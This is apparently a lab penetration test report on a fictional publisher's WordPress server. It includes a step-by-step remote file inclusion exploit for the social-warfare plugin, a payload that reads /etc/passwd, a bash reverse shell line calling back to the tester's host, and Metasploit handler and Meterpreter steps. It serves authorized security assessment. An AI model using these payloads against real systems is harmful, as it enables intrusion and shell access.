



Overview

PENETRATION TEST REPORT

for

MEGAQUAGGA PUBLISHING



MQP

Version 1.0 (3/5/2026)

Prepared by **Preston Collins**

Presented to **MEGAQUAGGA PUBLISHING**

DISCLAIMER: This document contains proprietary and confidential information. 0x2A SECURITY guarantees the confidentiality of the information and any other material that has or will be disclosed during the performance of this service. A mutual non-disclosure agreement of confidential information is assumed between 0x2A SECURITY and MEGAQUAGGA PUBLISHING, limiting the use of confidential information exclusively for purposes associated with properly delivering this service.

EXECUTIVE SUMMARY

0x2a Security conducted a penetration test on MegaQuagga Publishing's public-facing webserver. (www.megaquagga.local) These tests successfully confirmed and successfully exploited a very critical Remote Code Execution (RCE) vulnerability in an outdated WordPress plugin, leading to unauthorized shell access to the underlying server. In addition to this finding, 7 additional vulnerabilities were identified ranging from medium to low severity, including additional exposed services, outdated software components, and missing security configurations. MegaQuagga Publishing is advised to immediately update all WordPress core files and plugins, disable unnecessary services such as XML-RPC and WP-Cron, enforce HTTPS across the site, and remove publicly accessible sensitive files such as the WordPress readme.

Full remediation details are located in the Recommendations section.



Scope

SCOPE

The scope of this assessment defines the boundaries and limitations of the penetration test to ensure clarity and compliance. This section outlines the specific target systems evaluated, their associated parameters, and the exclusions and restrictions applied during the engagement.

0x2A Security: Penetration Test Scope

We're concerned about the webserver you identified in your vulnerability assessment.

Primary objectives:

- Assess whether the vulnerabilities identified in the previous vulnerability assessment can be exploited.

- Simulate real-world exploitation scenarios to determine the risk impact and potential consequences of those vulnerabilities.

- Provide actionable recommendations to remediate these vulnerabilities.

Target system:

- Domain:

- IP Address Range: This engagement only covers the confirmed IP (192.168.100.2) and its services

- Assets Included: Only the public-facing website and its backend services.

- Assets Excluded: Any systems not explicitly mentioned in the scope (e.g., internal networks, unrelated subdomains, third-party services).

Testing limitations:

- The test will focus solely on exploitation of identified vulnerabilities, without:

 - Excessive brute-force attacks.

 - Denial-of-Service (DoS) or Distributed DoS (DDoS) testing, unless explicitly approved.

 - Data destruction or alteration

Methodology

METHODOLOGY

This section describes the systematic approach followed during the penetration testing process. Each step is critical to ensure thorough evaluation of the target systems while adhering to ethical and procedural standards. The methodology is divided into several phases:

Pre-Engagement and Planning:

The scope of this engagement was set through direct communication with MegaQuagga Publishing. The client identified their public-facing web server (www.megaquagga.local) as the main concern following a previous vulnerability assessment. The rules of engagement were agreed upon prior to testing, which explicitly limited activity to the target web server and its backend services, prohibiting denial-of-service testing, excessive brute-force attacks, and any data destruction or alteration. Given thru Written authority.

Information Gathering (Reconnaissance):

Initial reconnaissance was conducted by visiting the target website directly in a browser to observe its surface level characteristics. This revealed that the site was running WordPress and was not protected by HTTPS. A ping test using ICMP was also attempted to confirm network connectivity to the target. ICMP traffic was found to be blocked by the client's pfSense firewall. Which I have configured per the client to permit ICMP between the RedTeam Workstation(192.168.100.20) and the web server (192.168.100.2).

Scanning:

A port scan was conducted against the target IP (192.168.100.2) using Nmap along with Metasploit's db_nmap wrapper, which confirms the target was running Apache httpd 2.4.38 on Debian Linux. WPScan was then executed against the target URL to enumerate WordPress specific components, including the core version, the installed plugins, and exposed configuration details. The WPScan identified an outdated WordPress core, multiple vulnerable plugins, exposed configuration files, and several enabled services presenting an unnecessary attack surface.

Exploitation:

Based on the WPScan output, the social-warfare plugin (v3.5.2) was identified as the highest-priority target due to the well-documented RCE vulnerability (CVE-2019-9978). A proof-of-concept payload was crafted and

hosted on the RedTeam VM using Python's HTTP server module. The vulnerability was first confirmed by triggering the XSS/RFI via a crafted URL, which successfully returned the contents of the server's /etc/passwd file. A reverse shell payload was then used, and a Metasploit handler was configured to catch the incoming connection on port 443. I then re-triggered the exploit URL, leading to the reverse shell being successfully established.

Post-Exploitation:

With the shell access confirmed, the session was upgraded to a Meterpreter implant using Metasploit's session upgrade function. The sysinfo command was then executed to profile the compromised system, confirming the target server was running Debian 10.2 on a 64 bit Linux kernel. The shell was operating under the www-data user, a low-privilege web server account. This foothold was limited in scope due to landing under said user, but sufficient to show the real impact of these vulnerabilities.

Reporting:

All of these findings are documented throughout the engagement, including the tool outputs, the exploitation steps, and post-exploitation results. Vulnerabilities were categorized by severity and mapped to any relevant CVEs and the OWASP Top 10 where applicable. Recommendations were made for remediation steps.



Findings

FINDINGS

This section presents the vulnerabilities identified during the penetration test, along with their potential impact and evidence collected. The findings are categorized by severity to assist in prioritizing remediation efforts.

CRITICAL VULNERABILITIES

This section describes critical vulnerabilities discovered during this assessment.

1.

Vulnerability	Unauthenticated Remote Code Execution (Social-Warfare Plugin)
CVE	CVE-2019-9978
Severity	High (CVSS SCORE:9.8)
OWASP Top 10	A06 (Vulnerable and outdated components)
Risk	Publicly available exploits exist
Steps to exploit	1.Run WPScan to enumerate installed plugins: <code>wpscan --url http://www.megaquagga.local</code> 2.Identify social-warfare v3.5.2 as installed and outdated 3.Create a payload file (payload.txt) containing: <code><pre>system('cat /etc/passwd')</pre></code> 4.Host payload.txt on the attacking machine: <code>python3 -m http.server</code> 5.Confirm vulnerability by visiting: <code>http://www.megaquagga.local/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.100.20:8000/payload.txt</code> 6.Confirm /etc/passwd contents are returned in the browser 7.Replace payload.txt contents with reverse shell: <code><pre>exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.20/443 0>&1'");</pre></code> 8.Configure Metasploit handler: <code>use multi/handler</code>, set LHOST 192.168.100.20, set LPORT 443, <code>run exploit -j</code> 9.Re-trigger the exploit URL in the browser 10.Catch the reverse shell session in Metasploit and upgrade to Meterpreter: <code>sessions -u 1</code>
Evidence	[+] social-warfare Location: <code>http://www.megaquagga.local/wp-content/plugins/social-warfare/</code> Last Updated: 2024-09-17T20:18:00.000Z [!] The version is out of date, the latest version is 4.5.4

	 Found By: Urls In Homepage (Passive Detection) Confirmed By: Urls In 404 Page (Passive Detection) Comment (Passive Detection) Version: 3.5.2 (100% confidence) Found By: Comment (Passive Detection) - http://www.megaquagga.local/, Match: 'Social Warfare v3.5.2' Confirmed By: Query Parameter (Passive Detection) - http://www.megaquagga.local/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2 - http://www.megaquagga.local/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2 Readme - Stable Tag (Aggressive Detection) - http://www.megaquagga.local/wp-content/plugins/social-warfare/readme.txt Readme - ChangeLog Section (Aggressive Detection) - http://www.megaquagga.local/wp-content/plugins/social-warfare/readme.txt
--	--

2.

Vulnerability	Outdated WordPress Core Version
CVE	CVE-2019-20043, CVE-2020-4046
Severity	High (CVSS SCORE: 4.3)
OWASP Top 10	A06 (Vulnerable and outdated components)
Risk	Multiple publicly documented CVEs for the installed core version. Exploits are available.
Steps to exploit	1.Run WPScan: <code>wpscan --url http://www.megaquagga.local</code> 2.Review the WordPress Core Version section of the output 3.Note the installed version and compare against the current release 4.Cross-reference the installed version against the NVD or WPScan vulnerability database for known CVEs
Evidence	[+] WordPress version 5.3 identified (Insecure, released on 2019-11-12). Found By: Rss Generator (Passive Detection) - http://www.megaquagga.local/feed/, <generator>https://wordpress.org/?v=5.3</generator> - http://www.megaquagga.local/comments/feed/, <generator>https://wordpress.org/?v=5.3</generator>

3.

Vulnerability	XML-RPC Enabled
CVE	N/A
Severity	Medium ▾ (CVSS SCORE:NA)
OWASP Top 10	A05 (Security Misconfiguration) ▾
Risk	XML-RPC is a well-known attack vector for brute-force and denial-of-service attacks. Therefore no public exploit is required.
Steps to exploit	1.Run WPScan: wpscan --url http://www.megaquagga.local 2.Note the XML-RPC enabled finding in the output 3.Confirm by visiting: http://www.megaquagga.local/xmlrpc.php 4.A response page confirms the interface is active and accessible
Evidence	[+] XML-RPC seems to be enabled: http://www.megaquagga.local/xmlrpc.php Found By: Direct Access (Aggressive Detection) Confidence: 100% References: - http://codex.wordpress.org/XML-RPC_Pingback_API - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

4.

Vulnerability	WP-Cron Enabled-Potential DoS Vector
CVE	CVE-2023-22622
Severity	Medium ▾ (CVSS SCORE:5.3)
OWASP Top 10	A05 (Security Misconfiguration) ▾
Risk	Publicly Documented. WP-Cron could be abused to exhaust resources on the server.
Steps to exploit	1.Run WPScan: wpscan --url http://www.megaquagga.local 2.Identify WP-Cron as enabled in the output 3.Reference CVE-2023-22622 for documented abuse scenarios involving repeated cron triggering
Evidence	[+] The external WP-Cron seems to be enabled: http://www.megaquagga.local/wp-cron.php Found By: Direct Access (Aggressive Detection) Confidence: 60% References: - https://www.iplocation.net/defend-wordpress-from-ddos - https://github.com/wpscanteam/wpscan/issues/1299

5.

Vulnerability	Vulnerable Plugin: wp-advanced-search
CVE	CVE-2024-9796
Severity	High ▾ (CVSS SCORE:9.8)
OWASP Top 10	A06 (Vulnerable and outdated components) ▾
Risk	Publicly documented CVE with easily available exploit details.
Steps to exploit	1.Run WPScan: wpscan --url http://www.megaquagga.local 2.Identify wp-advanced-search in the plugin enumeration output 3.Note the installed version and cross-reference against CVE-2024-9796 in the NVD
Evidence	[+] wp-advanced-search Location: http://www.megaquagga.local/wp-content/plugins/wp-advanced-search/ Last Updated: 2024-11-05T18:15:00.000Z [!] The version is out of date, the latest version is 3.3.9.3 Found By: Urls In Homepage (Passive Detection) Confirmed By: Urls In 404 Page (Passive Detection)

Vulnerability	Vulnerable Plugin: wp-advanced-search
CVE	CVE-2024-9796
Severity	High ▾ (CVSS SCORE:9.8)
	 Version: 3.3.3 (80% confidence) Found By: Readme - Stable Tag (Aggressive Detection) - http://www.megaquagga.local/wp-content/plugins/wp-advanced-search/readme.txt

6.

Vulnerability	Vulnerable Plugin: wp-file-upload
CVE	CVE-2024-9047
Severity	High ▾ (CVSS SCORE:9.8)
OWASP Top 10	A06 (Vulnerable and outdated components) ▾
Risk	Publicly documented. File upload plugins are a high risk attack target.
Steps to exploit	1.Run WPScan: wpscan --url http://www.megaquagga.local 2.Identify wp-file-upload in the plugin enumeration output 3.Note the installed version and cross-reference against CVE-2024-9047 in the NVD
Evidence	[+] wp-file-upload Location: http://www.megaquagga.local/wp-content/plugins/wp-file-upload/ Last Updated: 2025-01-07T07:54:00.000Z [!] The version is out of date, the latest version is 4.25.1 Found By: Urls In Homepage (Passive Detection) Confirmed By: Urls In 404 Page (Passive Detection) Version: 4.12.2 (50% confidence) Found By: Readme - ChangeLog Section (Aggressive Detection) - http://www.megaquagga.local/wp-content/plugins/wp-file-upload/readme.txt

7.

Vulnerability	WordPress Readme File Publicly Accessible
CVE	N/A
Severity	Low ▾ (CVSS SCORE:N/A)
OWASP Top 10	A05 (Security Misconfiguration) ▾
Risk	No exploit required. The readme file exposes the WordPress version, reducing an attackers needed effort
Steps to exploit	1.Run WPScan: wpscan --url http://www.megaquagga.local 2.Note the readme.html finding in the output 3.Confirm by visiting: http://www.megaquagga.local/readme.html
Evidence	[+] WordPress readme found: http://www.megaquagga.local/readme.html Found By: Direct Access (Aggressive Detection) Confidence: 100%

8.

Vulnerability	No HTTPS/Unencrypted Traffic
CVE	N/A
Severity	High ▾ (CVSS SCORE:N/A)
OWASP Top 10	A02 (Cryptographic Failures) ▾
Risk	No exploit required. All traffic between users and the server is unencrypted.
Steps to exploit	1.Visit http://www.megaquagga.local in a browser 2.Observe the absence of HTTPS in the URL 3.Traffic can be intercepted using a tool such as Wireshark or a proxy like Burp Suite on the same network
Evidence	Direct browser access. http://www.megaquagga.local

EXPLOITATION AND POST-EXPLOITATION

The exploitation phase involved leveraging identified vulnerabilities to compromise the target systems, followed by post-exploitation activities to assess the potential impact. This section provides a detailed account of the actions taken.

EXPLOITATION PHASE

- Confirmed the presence of CVE-2019-9978 in the social-warfare plugin by delivering a RFI (Remote File Inclusion) payload using a XSS URL, which successfully executed a system command and returned the contents of /etc/passwd from the targeted server.
- Replaced the confirmation payload with a reverse shell payload and established an incoming shell connection from www.megaquagga.local back to the ReadTeam VM on port 443 using Metasploit's multi/handler.
- Confirmed shell access was operating under the www-data user account on the target server.

POST-EXPLOITATION PHASE

- Upgraded the raw reverse shell (Session 1) to a Meterpreter implant (Session 2) using Metasploit's session upgrade feature. Giving more features and a stable foothold on the system.
- Executed the sysinfo command using the Meterpreter to profile the target system, confirming :OS Debian 10.2 running Linux Kernel 6.8.0-31, 64bit architecture and a Linux x86 Meterpreter implant.
- Confirmed that while initial access was limited to the low privilege www-data account, the meterpreter session would provide a platform for much more damaging post-exploitation activity such as privilege escalation, lateral movement, and persistence to the system.

Recommendations

RECOMMENDATIONS

This section outlines the recommended actions to address the identified vulnerabilities and enhance the security posture of the target systems. Implementing these measures will help mitigate risks and prevent potential exploitation.

Recommendation #1: Update WordPress Core and All Plugins Immediately

All outdated WordPress core files and plugins, including social-warfare, wp-advanced-search, and wp-file-upload, should be updated to their latest stable versions. The social-warfare plugin in particular should be considered critically urgent given the confirmed RCE exploit. If any plugin is no longer actively maintained, it should be removed and or replaced with a supported alternative.

Recommendation #2: Disable Unnecessary and Risky Services

XML-RPC should be disabled unless explicitly required for a third-party integration. The reason being it presents significant brute-force and DoS attack surface. WP-Cron should also be disabled via wp-config.php and replaced with a server-level cron to eliminate the exposure of CVE-2023-22622. The WordPress readme.html should also be deleted or access-restricted using the web servers configuration to prevent version disclosure.

Recommendation #3: Enforce HTTPS and Review Security Posture

An SSL/TLS certificate should be installed and all the HTTP traffic should be redirected to HTTPS to protect the data in transit. MegaQuagga Publishing Should also consider implementing a Web Application Firewall (WAF), allowing and enabling WordPress's automatic update feature for the website's Core and all plugins, and to conduct regular vulnerability scans to detect any newly disclosed CVEs before they can be exploited



Conclusion

CONCLUSION

This penetration test confirmed that MegaQuagga Publishing's web server contains a critical vulnerability in the social-warfare WordPress plugin (CVE-2019-9978) that was successfully exploited to achieve unauthorized remote code execution and shell access to the server. 7 additional vulnerabilities were identified spanning outdated, exposed configuration files, and many missing security controls, all of which can be remediated through patching, service hardening, and the enforcing of HTTPS.